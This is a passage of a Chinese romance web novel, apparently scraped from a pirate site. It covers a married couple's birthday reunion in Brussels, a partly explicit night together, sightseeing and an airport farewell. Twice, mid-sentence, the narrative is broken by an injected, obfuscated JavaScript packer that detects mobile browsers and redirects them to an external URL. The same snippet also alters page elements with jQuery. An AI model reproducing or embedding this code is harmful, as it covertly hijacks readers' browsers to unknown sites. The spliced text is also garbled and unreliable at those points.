宋星燃盯着她看了几秒,似乎在判断真假。最后,他决定不再追问,转而问出那个盘旋在心底的问题:“为什么不直接告诉我?” 温木垂下眼睛,密密的睫毛遮住了眼底的情绪。 其实她也不知道,自己为什么要来,又为什么不告诉他。 半个月之前,她在实验室里无意瞥过桌上的日历,“他要过生日了”的念头猛地跳出,然后一直在脑海里打转。 她一个几乎不刷微博的人,那天晚上碰巧看见甘棠设计的作品,立刻联系她,想准备一份生日礼物。 不巧,设计中途出了点问题,一直到生日这天才完成。更不巧的是,他生日那天,她依然有个重要会议要开。 其实她大可以按照给沈岁的说辞那般,安心开会,然后在第二天送去一个祝福,顺便把礼物寄给他。 像一个正常的联姻妻子,应该做到的那样。 可是她没有。 在会议结束的那一瞬间,温木下意识地去看时间,13:00。 她几乎立刻意识到,如果她足够幸运在晚高峰赶去机场,如果她足够幸运可以买到两点左右去布鲁塞尔的机票,如果她足够幸运可以在几近凌晨的布鲁塞尔机场打到顺风车,那么她就可以在十二点之前赶到宋星燃的酒店,对他说上一声“生日快乐”。 温木被自己的想法吓到了。 她从来不是这样的人,不是这样去依靠运气来实现愿望的人,她更相信数据、相信那些定律,而不是所谓的“可能”。 她不知道自己怎么了。 也许是五分钟,也许只有两三分钟,她拎着那个一直在脚边跟完全程会议的盒子,从包里翻出证件和手机,抓起于茉的车钥匙就飞奔出门。 她甚至都想,如果赶不上的话,就自己在布鲁塞尔住一晚上好了。然后再回国,装作什么事都没有发生的样子,给他发一句迟到的生日祝福,给他送去迟到的生日礼物。 但今天,她很幸运。 她走了那条没有出车祸的高架,买到了最后一张前往布鲁塞尔的机票,还在布鲁塞尔机场遇到了一位愿意载她一程的善良的中国女士。 她在往酒店走的路上淋了些雨,但是那个装着生日礼物的盒子被她牢牢护在怀里,一点都没有被打湿。 她被酒店前台拦下时,接到了甘棠的电话,靳召南帮她跟前台沟通,让她顺利地到了他的房间门口。 可是他不在。 她的手机没电了,打不了电话,也不能打电话,她想让这次见面成为他们难忘的惊喜。 所以她就在门口等着,不知道等了多久,她困了,就蹲下来,把脸埋在胳膊里,眯着眼睛打盹儿。 而她今天最最幸运的是,宋星燃回来了。 她等到他了。 耳垂上一阵湿濡,温木回过神,男人伸着舌尖,一点一点地在舔她。 “你是小狗吗?”她静静看他,又问了一次这个熟悉的问题。 宋星燃仰头看她,目光灼灼:“你没回答我的问题。” “为什么不告诉我。” 温木凑到他耳边,悄悄地说:“因为,我想让你知道,工作很重要。” “你也很重要。” 男人盯着她,抬手抚上她的脸颊,拇指擦过她的下唇。 “你总是这样。” 温木不解。 她做了什么错事吗? 为什么他会是这样一种表情呢? 不开心的,有很多情绪的,让人看不懂的,那样的表情。 他的声音低得几乎听不见。 “你总是这样。” “说一些让人误会的话。” “做让人误会的事。” “什么?” 温木没有听清,但还没来得及再问一遍,男人已经扣住她的后脑,吻了上来。 这个吻开始得很温柔,像是试探,又像是确认。 宋星燃的唇有些凉,带着威士忌的苦涩和薄荷的清凉,轻轻摩挲着她的。 温木的身体僵了一瞬,随即放松下来,手指穿过他的发丝,小心翼翼地回应。 男人吻得很耐心,一点点描摹她的唇形。感受到她的默许,他含住她的下唇轻吮,在怀中人轻喘的间隙探入。 温木的呼吸变得急促,攀着他肩膀的手指微微收。她能感受到男人的心跳,又快又重,隔着胸膛传过来。 他们吻了很久,久到宋星燃忘记了自己身在何处。 温木的唇比他想象中更软,带着淡淡的薄荷牙膏味和咖啡的苦涩。 她的回应生涩却真诚,每次他稍微退开,她都会不自觉地追上来,像是舍不得这个吻结束。 一吻结束,女人的唇微微泛红,眼睛里蒙着一层水雾,叫人看不真切。 温木用手轻轻抵住男人再次靠近的唇,声音软软的:“我,我没带换洗衣服。” 宋星燃挑眉:“为什么?” “太着急了。”温木小声解释,“研讨会一结束就直接去了机场。” 男人嘴角勾起一个坏笑,凑近她耳边,热气喷在敏感的耳垂。 “没关系。” “今晚你也用不到衣服。” 温木的耳尖慢慢红了。不等她反应,宋星燃已经托着她的身子将她抱了起来。她本能地环住他的腰,本就很近的距离再次被拉近。 “宋星燃。”她小声抗议,却被他再次封住唇。 男人一边吻她,一边抱着她向卧室走去。温木被吻得晕头转向,只能紧紧搂着他的脖子,任由他带着自己。 主卧的灯光比客厅更暗,只有床头两盏壁灯散发着柔和的光。Kingsize的大床铺着深灰色的丝质床单,落地窗外是布鲁塞尔的雨夜。城市的霓虹在雨水中晕染开来,像是散落的星辰。 宋星燃走到床边,没有温柔地将人放下,而是直接松手让她跌进柔软的床垫里。 他放过她的唇,转而去吻她的下巴,然后是颈侧。那颗熟悉的虎牙轻轻磨蹭着细嫩的皮肤,引得温木一阵战栗。 “宋星燃。” 她喘息着叫他的名字。 男人停住在她身上狩猎的动作,俯身撑在上方,眼底翻涌着灼人的热浪。 “我们是什么关系?” 温木的头发散在深灰色的床单上,衬衫领口大开,露出大片雪白的肌肤。 她看着宋星燃,眼神清澈又冷淡,似是没料到他会问这个问题。 片刻,她轻笑:“我们不是夫妻吗?” “我们是吗?” 宋星燃追问,手指轻轻拂过她的锁骨,声音里带着一丝不易察觉的颤抖。 “除了那张结婚证,我们之间,还有什么地方像夫妻吗?” 温木伸手抚上他的脸颊,悠悠道:“现在这样,就很像夫妻啊。” 是啊。 只有在这种时候,他们才像夫妻。 “不过……” “我都可以。”她的指尖描摹着男人的轮廓,“不管是夫妻,还是一起回家吃饭的的周末情人,都可以。” 宋星燃没有说话,只是怔怔地注视着她。 良久,又猛地抓住她的手,按在枕边,那力道,像是要把她一辈子都锁在床上。 温木听见他说:“我也都可以。” 男人用力地吻着她,温木被动地承受着,却某一刻突然反击,用牙齿轻轻咬了他一口。 宋星燃闷哼一声,松开她的唇,看见她眼中狡黠的光。 “你。”他刚想说什么,喉结却被吻住。 女人的唇很软,吻很轻,像羽毛拂过最敏感的地方。 “温木。” 他警告地叫她的名字,却换来她更过分的动作。 宋星燃哑声问:“你知道你在做什么吗?” 温木抬眼看他,眼神无辜又勾人:“不知道,你教我?” 宋星燃低咒一声,抓住她作乱的手:“别勾我。” “是谁先开始的?”她反问,语气里带着罕见的俏皮。 片刻。 “温木,你记住。” “是你先惹我的。” 窗外的布鲁塞尔渐渐安静下来,只有远处偶尔闪过的车灯证明这座城市还未完全沉睡。 房间内,温度却不断攀升。 宋星燃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319666|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' T恤不知何时已经被脱下,露出精壮的上身。温木的外套和衬衫也散落在地,只剩下一件丝质的内搭。 “可以吗?” 他在她耳边问,声音沙哑得不成样子。 坏狗。 明明之前从来不会问,现在问是要怎样。 温木没有回答,也不知道怎么回答,只是仰头吻了吻他的下巴。 这个动作比任何语言都更有说服力。 “温木。” 宋星燃低声唤她的名字,像是在确认什么。 从他见到她,到现在,他喊了好多声她的名字。 不是“温老师”,而是“温木”,只是“温木”。 温木看着他,嗓音懒懒:“我在这儿。” 像是得到了鼓励,男人小心翼翼地对待她的每一寸肌肤。他的吻从她的唇移到锁骨,再到更往下的地方。 有什么,跟着这个世界一起,被雨水打湿了。 …… 温木失去了时间的概念,只是跟着身上的人,浮浮沉沉。 不知道过了多久,他才稍微退开一些,却仍将她搂在怀里。温木的脸贴着男人的胸膛,听见他依旧热烈的心跳。 “温木。”宋星燃轻声唤她。 “嗯?”温木很累,但还是撑着眼皮看他。 “我们到底是什么关系?” 温木沉默了一会儿,轻声回答:“你说是什么就是什么。” 宋星燃苦笑:“又是这种答案。” 温木抬头看他,伸手抚平他眉间的褶皱:“这重要吗?” “比起刚开始你逃婚的时候,我还是更喜欢你现在的样子。” “有点儿,可爱。” 宋星燃看着她,听到她用一个新的词汇去形容自己,还是一个褒义词。第一反应居然是开心。 恍惚间,他意识到,自己可能永远无法真正理解这个女人。 她像一本复杂的书,每一页都写着不同的故事。而他,只是其中一个读者。 “睡吧。”他最终说道,吻了吻她的额头。 温木在他怀里找了个舒服的位置,很快呼吸变得均匀。宋星燃却久久无法入睡,借着窗外的月光看着她安静的睡颜。 也许有些问题不需要答案。 也许,就这样拥着她入眠,已经是最好的答案。 比起好奇她的过去,他更想占有她的现在和未来。 他遇上了,就认定了。 永远不会放手。 永远。 * 温木醒来时,身上清爽干净,连发丝都带着淡淡的沐浴露香气。她微微怔了怔,意识回笼,才想起昨晚的荒唐。 她隐约记得自己昏昏沉沉时,男人低哑的声音在耳边哄着,随后她被抱进浴室,温热的水流冲刷过身体,他轻柔地替她清理,却又在某个瞬间失控,在氤氲的水汽里又吻了上来…… 温木耳尖一热,下意识地往身侧摸去——空的。 床单上还残留着余温,显然人刚离开不久。 她撑着手臂坐起身,被子滑落,露出白皙肌肤上斑驳的痕迹。她垂眸看了一眼,指尖轻轻抚过锁骨上的红痕,轻轻“嘶”了一声。 昨晚,宋星燃似乎格外失控。 目光落在床头柜上,那里放着一个被拆开的小盒子,里面空空如也。 温木愣了一下,随即想起什么,忍不住笑出声。 酒店提供的尺寸太小了。 她记得他当时皱着眉,低低地“啧”了一声,然后俯身在她耳边,嗓音沙哑又委屈:“勒得难受。” 她也没办法,箭在弦上了,总不能按住不发,临时换护弓绳吧。 只能把人搂在怀里,揉揉头发,尽量把声音放柔:“忍一忍,下次给你买合适的。” 温木扶着腰,慢慢挪到床边,脚刚沾地,腿就软得像被抽走了骨头似的,整个人“扑咚”一声跪坐在地毯上。 她倒抽一口凉气,正想扶着床沿爬起来,就听见身后传来急促的脚步声。 “你怎么自己下床了?” 温木抬头,宋星燃站在门口,手里端着一杯水,身上套了件宽松的黑色T恤和运动短裤,头发微湿,像是刚冲过澡。 她这才注意到自己现在的情状,身上还留着昨晚的痕迹。 男人的目光在她身上停留了一秒,随即迅速移开,耳根肉眼可见地红了。 温木忍不住想笑。 昨晚那么凶,怎么求都不停,现在倒是害羞了? 她故意没遮,就这么坐在地上,仰着脸看他:“怎么不看我?” 宋星燃喉结滚动了一下,没说话,大步走过来,直接弯腰把她抱起来放回床上,动作轻柔至极。 温木顺势勾住他的脖子,指尖在他后颈轻轻挠了挠:“宋少爷昨晚可不是这样的。” 宋星燃抿着唇,把她塞进被子里,然后才抬眼看她:“别闹。” 温木面色不改,伸手,戳了戳他的脸:“昨晚是谁在我身上到处咬的?” 她指着自己身上,一处一处数给他看:“你看这儿,脖子上。” 手指往下滑,“这儿。” 再往下,“还有这儿。” 男人捂住她的嘴,耳尖红得滴血:“我那是……” “节约水资源。” 温木一愣,随即笑出声,眼睛弯成月牙。 宋星燃松开手,有点恼羞成怒地瞪她:“笑什么?” 温木摇摇头,笑意不减:“没什么,就是觉得你可爱。” 宋星燃:“……” 他深吸一口气,决定转移话题:“衣服我让人送来了,你看看合不合适。” 温木拒绝:“我不想穿。” 宋星燃皱眉:“你都没看呢,不喜欢吗?我都是按照你的尺码买的,还有你平时喜欢穿的款式。” 温木看着他认真的样子,心里软了一下,随即又起了逗他的心思。 她勾了勾手指:“你过来,我告诉你为什么。” 宋星燃狐疑地看着她,但还是乖乖弯腰凑近。 温木仰起脸,在他耳边轻轻吹了一口气,声音又轻又软:“上次的谢礼,我还没给你呢。” 指尖点了点男人胸口,唇角微勾: “要不,你亲自取?” 32. For the stars 两个小时后,温木累的手指头都动不了。 她就不应该招他,明明知道他早上会多精神,还自不量力。 她上次拍照时穿的黑色T恤还在家里,宋星燃就从衣柜里翻了一件差不多的,给她套上,隔着衣服亲她,等衣服上不剩好地儿了,就又扒了。 温木一开始还能回应一下他的吻,到最后只能任由男人摆布。 结束后,宋星燃抽走垫在她腰下的枕头,随手扔到地上。 温木皱眉,连问“为什么”的力气都没有,只能用眼神表达疑惑。 “不扔你又要把枕头放中间。”男人理直气壮地躺下,从背后把她锁进怀里,“抱着难受。” 他贴得太近,温木甚至能感受到他尚未平息的心跳。宋星燃的手臂横在她腰间,双腿缠着她的,像藤蔓绞杀树木般,不留一丝缝隙。温热的鼻息喷在她颈后,激起一阵细小的战栗。 “松一点。”温木迷迷糊糊地抗议。 宋星燃收紧了手臂:“不松。” 窗外,布鲁塞尔的阳光透过纱帘洒落一地碎金。 温木在陷入沉睡前的最后一个念头是,这件T恤,怕是不能要了。 * 温木是被阳光吻醒的。 她迷迷糊糊地睁开眼,发窗帘不知何时被拉开了一半,布鲁塞尔黄昏的阳光斜斜地铺在床上,将深灰色的床单染成金色。 她下意识伸手去摸身侧,又是空的。 浴室里传来水声,温木撑着手臂慢慢坐起来,浑身像是被拆散重组过一般酸软。 她低头看着自己身上那件明显过大的黑色T恤,领口歪斜着露出一侧肩膀,衣摆堪堪遮住大腿根。 水声停了,浴室门被拉开,宋星燃擦着头发走出来,身上只套了条运动短裤,水珠顺着腹肌的沟壑滑入裤腰。 看见她醒了,男人嘴角勾起一抹笑:“睡得好吗,温老师?” 温木没回答,只是眯着眼睛看他,像只晒太阳的猫。 宋星燃走过来,单膝跪在床上,俯身在她额头亲了一下:“起床,带你出去玩。” “几点了?”温木的声音还带着睡意。 “下午五点。”宋星燃从衣柜里拿出一条运动短裤,“再不起来,天都要黑了。” 温木慢吞吞地掀开被子,光脚踩在地毯上。宋星燃的T恤穿在她身上像条短裙,随着动作晃荡。 男人蹲下身,示意她抬脚,帮她把短裤套上。裤腰大了一圈,宋星燃找了根鞋带,灵巧地穿过腰带环系紧。 “抬手。” 温木举起双臂,让宋星燃帮她整理好T恤。 衣领还是太大,露出一侧锁骨和上面鲜明的吻痕。 男人的指尖在那里停留了一秒,随即若无其事地移开,拿起床头柜上的眼镜,小心翼翼地架到她鼻梁上。 “要出门吗?”温木揉了揉眼睛,镜片后的眸子泛着水光。 宋星燃看着她这副迷糊的样子,心软得一塌糊涂:“嗯,带你去玩。” 布鲁塞尔的黄昏美不胜收。他们走出酒店时,夕阳正悬在原子球上方,将那座标志性建筑镀上一层金边。 街道两旁的建筑在斜阳中投下长长的影子,空气中飘着华夫饼的甜香。 宋星燃牵着温木的手,十指相扣。温木的指尖微凉,被他整个包裹在掌心里。 “先去哪?”温木问。 她穿着他的衣服,像个偷穿大人衣服的孩子,裤脚挽了好几折,走路时鞋带系的裤腰一晃一晃的。 宋星燃看着她这副模样,忍不住捏了捏她的手指:“市政厅广场。” 广场上人头攒动,哥特式建筑在夕阳下熠熠生辉。宋星燃护着温木穿过人群,时不时低头在她耳边讲解建筑历史。温木仰头看着那些精美的雕塑,眼睛亮晶晶的。 “你懂很多。”她评价道。 宋星燃耸耸肩:“来过几次比赛。” 他顿了顿,又补充,“一直想带你来。” 温木转头看他,男人的侧脸很好看,夕阳落在他鼻梁上,整个人都是暖洋洋的。 她突然想起什么,从他口袋里摸出手机:“拍照吗?” 宋星燃挑眉:“温老师居然主动要求拍照?” 温木没理他的调侃,举起手机对准两人。宋星燃配合地低头,在她按下快门的瞬间,突然转头亲在她脸颊上。 “宋星燃!”温木瞪着屏幕里自己惊讶的表情和他得逞的笑容。 男人无辜地眨眨眼:“怎么了?不是要拍照吗?” 温木把手机塞回他口袋,决定不理他。宋星燃笑着揽过她的肩,带她走向广场另一侧的撒尿小童雕像。 雕像前围满了游客,那个著名的调皮小男孩今天穿了一件宇航员服装。温木踮起脚尖也看不清,宋星燃干脆从后面抱住她的腰,直接把人举了起来。 “啊!”温木短促地惊叫一声,下意识抓住他的手臂,“放我下来!” “看清楚了吗?”宋星燃仰头问她,手臂稳稳地托着她。 温木低头看他,看到他浓密的睫毛和带着笑意的眼睛。 她轻轻点头:“看清楚了。” 宋星燃这才把她放下来,却没收手,转而牵住她:“走吧,带你去吃巧克力。” 他们穿过蜿蜒的小巷,路边橱窗里摆满了精致的蕾丝和锡器。一家巧克力店门口排着长队,宋星燃让温木在长椅上等着,自己跑去排队。 男人高大的背影在一群游客中间,被挤得七扭八歪,温木不自觉笑出来。 十分钟后,宋星燃捧着两个巧克力华夫饼回来,上面堆满了鲜奶油和草莓。温木接过一个,小心地舔掉快要滴落的奶油。 “好吃吗?”宋星燃问,目光落在她沾了奶油的嘴角。 温木点头,正要回答,拇指突然被握住。男人低头,舌尖扫过她指尖沾到的巧克力,然后若无其事地继续吃自己的华夫饼。 她淡淡道:“我没洗手。” 男人呲牙一笑:“没关系。我不怕生病。” 天色渐暗,广场上的灯光次第亮起。 一个街头画家招呼他们:“嘿!为美丽的女士画幅肖像吗?” 宋星燃看向温木,后者轻轻摇头,他却已经拉着她走过去:“画。” 画家让温木坐在小凳子上,宋星燃站在她身后,双手搭在她肩上。画家的炭笔在纸上沙沙作响,不时抬头打量温木。男人的目光渐渐变冷,手指在温木肩上收紧。 “别那么凶。”温木小声说,伸手覆上他的手背。 明明是他要画的,现在画家盯着她看,他又不乐意。 真是跟小孩儿似的,变脸比翻书还快。 画家很快完成了素描,画中的温木戴着眼镜,神情恬静,身后的宋星燃只露出半张脸,但眼神温柔得不可思议。 “您夫人很美。”画家将画递给宋星燃,“您很幸运。” 宋星燃的表情缓和下来,付钱时多给了小费:“我知道。” 离开画家摊位,夜幕已经完全降临。 宋星燃带温木去了他最喜欢的一家餐厅,藏在一条安静的小巷里。餐厅不大,但装修精致,每张桌子上都摆着新鲜的玫瑰。 “来过几次?”温木看着熟练点单的宋星燃,问道。 宋星燃抬头:“两次。一次夺冠后,一次……” 他顿了顿,“上次生日。” 温木了然。 去年此时,他们还不认识。一个研究星星的轨迹,一个燃烧生命的速度。而现在,他们共享一张餐桌,在布鲁塞尔的夜色中。 菜品很美味,宋星燃特意点了红酒炖牛肉和当地特色的海虹。温木小口品尝,不时点头。 侍者送上甜品菜单时,宋星燃看向她:“要试试巧克力熔岩吗?” 温木想起刚结婚那会儿,她诓他自己喜欢吃巧克力。 她平时很少吃甜食,但今天点了点头:“好。” 甜品很快上来,温木用勺子轻轻戳开蛋糕外壳,浓郁的巧克力酱流淌出来。 她尝了一口,眼睛微微睁大:“好吃。” 男人看着她满足的样子,笑得灿烂,伸手抹掉她嘴角的巧克力酱,然后自然地把手指含进嘴里。 温木僵住了,勺子悬在半空。 “怎么了?”宋星燃无辜地问,“我洗手了。” 温木脑海中闪过那次在肯德基的场景,片刻,回了句:“不洗也行。” 等等,她昨晚好像也说了这句话。 温木不说话了,低头继续吃蛋糕。 离开餐厅时已是深夜,布鲁塞尔的街道安静下来,只有偶尔经过的车辆和零星的行人。夜空中繁星点点,远处原子球的灯光像一串钻石项链。 好像就在一秒钟内,男人时不时触碰她的手,迅速地包裹住她。 他们就这样,牵着手,一步一步,慢慢悠悠走回酒店。 回去的路上,有一座小桥。温木在桥上停下,仰头看着星空。 “能看到木星。”她轻声说,指着天空某处。 宋星燃顺着她的手指望去,只看到一片闪烁的星点:“哪个?” 温木轻轻牵起他的手,用他的食指指向夜空:“那颗最亮的,带着淡黄色光芒的。” 她比他矮大半个头,此刻靠在他胸前,引导他的手指画出一条细细的线,“那是它的运行轨迹。” 男人低头,看着她专注的侧脸,心跳加速。 此刻,怀中的人像个分享秘密的孩子,眼睛里盛着整个星空。 “是不是很漂亮?”温木仰头问他。 “嗯,是我见过,最漂亮的。” 他轻声回答,眼睛里盛着的是她。 男人低下头去,往前走出两步,却又停住,转身回来,轻轻牵起了她的手,慢慢地,十指相扣。 “走吧,温老师。” 温木一愣,随即收紧手指,嘴角控制不住地上扬。 “笑什么?”宋星燃问。 她摇头:“没什么。” 宋星燃没有再说话,只是手指在她掌心轻轻挠了一下,像猫咪在撒娇。 他觉得,这样很好。 他很喜欢。 布鲁塞尔的夜风轻柔,带着巧克力和鲜花的香气。 他们就这样牵着手,走过一盏又一盏路灯,影子渐渐融在一起,分不清彼此。 * 温木回到酒店房间时,才注意到床头柜上静静躺着的手机。她拿起来按了按侧键,屏幕一片漆黑。 从昨天晚上接到“救命电话”到现在,它一直处于关机状态。 “用我的充电线。”宋星燃从浴室出来,扔给她一条数据线,发梢还滴着水。 温木接住,给手机充上电。开机画面亮起,她预想着会看到满屏的未接来电和消息轰炸,毕竟她昨天是直接扔下研讨会跑出来的。 然而意外的是,通知栏里只有一个未接来电,显示是登机前于茉打来的。 “奇怪。”温木嘀咕着,回拨了过去。 电话响了很久才被接起,听筒里传来于茉沙哑得不正常的声音:“宝贝,宁川现在是凌晨五点,你确定要在这个时候给我打电话吗?” 背景里隐约传来床垫的吱呀声和一声模糊的“别咬那儿,宁远西”。 温木耳尖一热,昨晚的记忆突然鲜活起来,她清了清嗓子:“不好意思茉茉,打扰你好事了。” “没有,你救了我。”于茉的呼吸明显不稳,“要不是你这个电话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325439|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都要被他弄晕了。” 温木忍不住偷笑,宋星燃从身后贴上来,下巴搁在她肩头,湿漉漉的头发蹭得她脖子发痒。 “怎么样,宝贝,”于茉压低声音,“生日夜过得开心吗?” 温木一愣:“你怎么知道。” 电话那头传来于茉促狭的笑声:“你家少爷就是一个大写的忍不了。你自己去看朋友圈吧。” 温木转头看向黏在自己身上的男人,后者一脸无辜地眨眨眼。 “你明天回来吗?” “实验室有事?” “有点忙,少了你一天,我都忙得晕头转向的。” 温木感觉到肩上的重量突然变沉了:“我明天回来。” “好嘞宝——”于茉的话戛然而止,取而代之的是一声模糊的呜咽和湿漉漉的接吻声。 温木果断挂断电话。 一回头,正对上宋星燃直勾勾的目光。他不知道这样盯着她看了多久。 她被看得心跳加速,下意识摸了摸脖子。 宋星燃轻哼一声:“温老师,你听人家亲热听得挺入迷啊。” “我哪有。”温木移开视线,指尖卷着充电线。 沉默在房间里蔓延。 宋星燃突然开口:“你明天要回去了吗?” 他的声音很轻,像怕惊扰了什么。 温木抬头看他,那双张扬的眼睛很安静,很平和,甚至,有一丝委屈。 “嗯。”她轻声回答。 两人静静地对视了很久。 温木莫名有些心虚,担心他会生气或难过——按照宋少爷以往的脾气,这时候应该已经把她按在墙上质问“我就这么不重要”了。 “我明天送你去。”宋星燃最终说道,语气平静得不像他。 温木微微睁大眼睛。 他居然,没闹? 这种反常的体贴反而让她不知所措,手指绞在一起:“现在项目进度紧,离开一天就有不少事情堆着。” 她顿了顿,试探性地补充,“等过段时间,我抽空来看你。” “别生气?” 男人的表情凝固了一瞬,嘴角绷紧,但很快又放松下来:“我为什么要生气。” 他转身走向床边,背对着她整理被子,肩膀线条在T恤下若隐若现。 温木看着他的背影,恍然觉得胸口闷闷的:“哦,那更好。” 他不吵不闹,乖乖搞钱和睡觉,不是更好吗? 男人关掉顶灯,只留一盏床头壁灯。 他走回来,动作轻柔地取下温木的眼镜放在床头柜上,然后一把将她打横抱起。 温木下意识搂住他的脖子,T恤下摆因为男人的动作卷到大腿根。 被放到床上时,她自然地以为接下来会发生什么,主动去掀自己的衣摆。 过大的领口随着动作滑向一侧,露出半边肩膀和锁骨上的红痕。 宋星燃一把按住她的手,目光灼灼地盯着她:“干什么?” “怎么了,”温木疑惑地看他,“不做吗?” 她倒是不介意,一段时间不见,他的技术见长。虽然比之前更累了些,但也更舒服。 男人的眼神变得锋利,他俯身撑在她上方,声音冷硬:“我在你心里,就是只会做这种事吗?” 温木眨了眨眼。 难道不是吗?从认识到现在,他们之间最“深入”的交流不就是这个? 但她没说出口,只是又确认一遍:“今晚,不做吗?” 宋星燃盯着她看了几秒,翻身躺下,一把将她捞进怀里,手臂像铁箍一样圈住她的腰。 “不做,睡觉。” 温木被他突如其来的举动弄得一头雾水。 他的胸膛贴着她的后背,心跳声透过相贴的肌肤传来,又快又重。 她试着动了动,立刻被搂得更紧。 宋星燃警告她: “别乱动。” “再动就真的做。” 温木立刻僵住。 她能感觉到身后人的体温和某个不容忽视的存在,但奇怪的是,宋星燃真的只是抱着她,再没有其他动作。 渐渐地,身后的呼吸声变得平稳而绵长。温木小心翼翼地转头,借着微弱的灯光看他。 他睡着了,眉头舒展,睫毛在眼下投下一小片阴影,看起来比醒时要乖巧许多。 这会儿才有个弟弟的样子嘛。 跟昨晚压在她身上像猛兽一样的那个人,一点都不一样。 她轻轻叹了口气,在他怀里找了个舒服的位置,闭上眼睛。 宋星燃没醒,下意识地将她搂得更紧,下巴抵在她发顶,像狗狗圈住心爱的玩具。 这一觉睡得意外地沉。 * 第二天清晨,宋星燃开车送她去机场。 一路上两人都没怎么说话,车载电台放着轻快的法语歌,但车里的氛围,莫名的有些凝重。 又不是见不到了。 温木看着男人乌云密布的表情,轻轻捋开他皱起的眉。 安检口前,温木接过宋星燃手中的袋子。她就这么点儿行李,来的时候穿的那套衣服不能要了,还是穿的他的T恤短裤。 “那我走了。” 男人点点头,双手插兜站在原地。 温木转身走向安检通道,刚把登机牌递给工作人员,突然被人从后面一把拉住手腕拽了回去。她踉跄着撞进一个熟悉的怀抱,抬头正对上宋星燃灼热的目光。 “温老师,”他声音低沉,带着不满,“你是不是忘了一件事。” 温木眨了眨眼:“什么事?” 宋星燃没回答,只是低头凑近,目光落在她的唇上。 “告别吻。” 33. For the stars 宋星燃低头吻了下来。 他单手捏着她的下巴,力道很轻却不容抗拒,另一只手还揽在她腰间。 这个吻很浅,只是唇与唇的相贴,却比任何深吻都更令人心悸。 温木能闻到他身上淡淡的须后水味道,混合着阳光晒过棉布的暖香。 直到身边响起善意的口哨声和掌声,男人才松开她。他垂眸看着怀里的人,指尖摩挲她泛红的唇角。 “下飞机给我发消息。” “到家也要发。今天先别去学校,休息一天。” 温木的嘴唇还带着微微的麻,她揉揉嘴唇:“知道了。” 停顿片刻,又轻声补充,“操心鬼。” 阳光在她镜片上跳跃,宋星燃看不清她的眼睛。 他有很多话想说,想让她别走,想问她什么时候再来,最后只是紧了紧握着她手腕的力道。 “那我走了。” “嗯。”宋星燃点头,喉结滚动,“等我回去。” 温木轻轻颔首,转身走向安检口。 宋星燃站在原地没动,目光追随着那抹清瘦背影。他的T恤罩在她身上,随着步伐晃动,发尾扫在颈后,那里还有他昨晚留下的痕迹。 直到她的身影完全消失在安检通道尽头,宋星燃才缓缓转身。 他摸了摸自己的唇角,那里似乎还残留着她嘴唇的温度,忍不住轻笑出声。 “都不回头看我一眼。” 声音很轻,很快消散在机场嘈杂的人声中。 他往前走了几步,鬼使神差地停住脚步,回头—— 电梯口,一抹清影站在那里,正望着他的方向。见他回头,温木举起手挥了挥,动作不大,却连带着他的心都动摇了几番。 宋星燃下意识抬手,女人已经转身踏上扶梯。背影似一株白桦,清瘦而挺拔,渐渐被电梯带往高处,最终消失在视野里。 好似所有的声音都在这一刻远去。 他只能听见自己剧烈的心跳声。 咚。咚。咚。 像少年时代第一次站在F1发车区,等待五盏红灯熄灭的瞬间。 他知道那是什么感觉。 * 十月末,宁川的梧桐叶已经落尽,只剩下光秃的枝丫在寒风中轻颤。 清晨的薄雾笼罩着宁大校园,天文大楼的穹顶在雾中若隐若现,像一颗孤独的行星。 温木裹紧驼色大衣,快步走向实验室。这三个月,她和于茉的热木星大气成分研究取得了突破性进展。 他们成功建立了一个新的光谱分析模型,能够更精确地测定系外行星大气中的甲烷含量。论文已经投给了《自然·天文》,正在等待审稿结果。 “阿木姐早!”孟孟递来一杯热的橙C美式,“昨晚的数据已经处理好了。” 温木接过咖啡,热气氤氲中点了点头。 她本来只喝冰美式的,美式这种东西,实在太苦,只有温度能压一压。 但宋星燃不让她喝,原因是,她上个月生理期喝冰美式,疼到在家里躺了几天的事,被他知道了。 她还记得那天,浑身是汗地躺在床上,秦忆给她端来热的酒酿。 电话就是这个时候打来的。 秦忆不知道她骗宋星燃自己只是普通感冒,接通,男人已经语气不悦。 “温木,你到底在搞什么?生理期还喝冰的,不想好了是不是?” 温木愣住,秦忆也愣住。 结婚快半年了,倒是第一次见宋星燃这般生气的样子。 声音很冷,很硬,可以听见压抑的怒气。 秦忆温声解释:“阿燃,别担心,枝枝就是这段时间太忙了,老是熬夜,不喝咖啡顶不住。我已经讲过她了,以后不会了。” 电话那头沉默了一会,宋星燃的声音软下来:“我刚才语气不好,温老师别生气。” 温木说不动话,只能摇摇头。 秦忆明白她的意思:“阿燃啊,枝枝没事的。已经吃过止痛药了,很快就能好。她现在还有点难受,说不了话,等她好了,让她给你回电话啊。” 男人闷闷“嗯”了一声:“妈辛苦了,您和爸都要照顾好自己。我很快就回来,十二月,不会超过月底,就能回来了。到时候我来照顾她。” 谁要他照顾了。 温木把脑袋埋进枕头里,攥紧了小腹处的衣角。 那里泛着撕裂般的坠痛,让她难受,让她害怕。 生孩子也会这样疼吗? 应该比这个要疼上许多倍吧。 她不禁思考:到底是什么,能让一个女人愿意生孩子呢?那些成为妈妈的女性,到底有多大的勇气和担当? 这是个很难的问题,也是她一直都没想明白的问题。 疼意被睡意淹没,她还是没想出问题的答案。 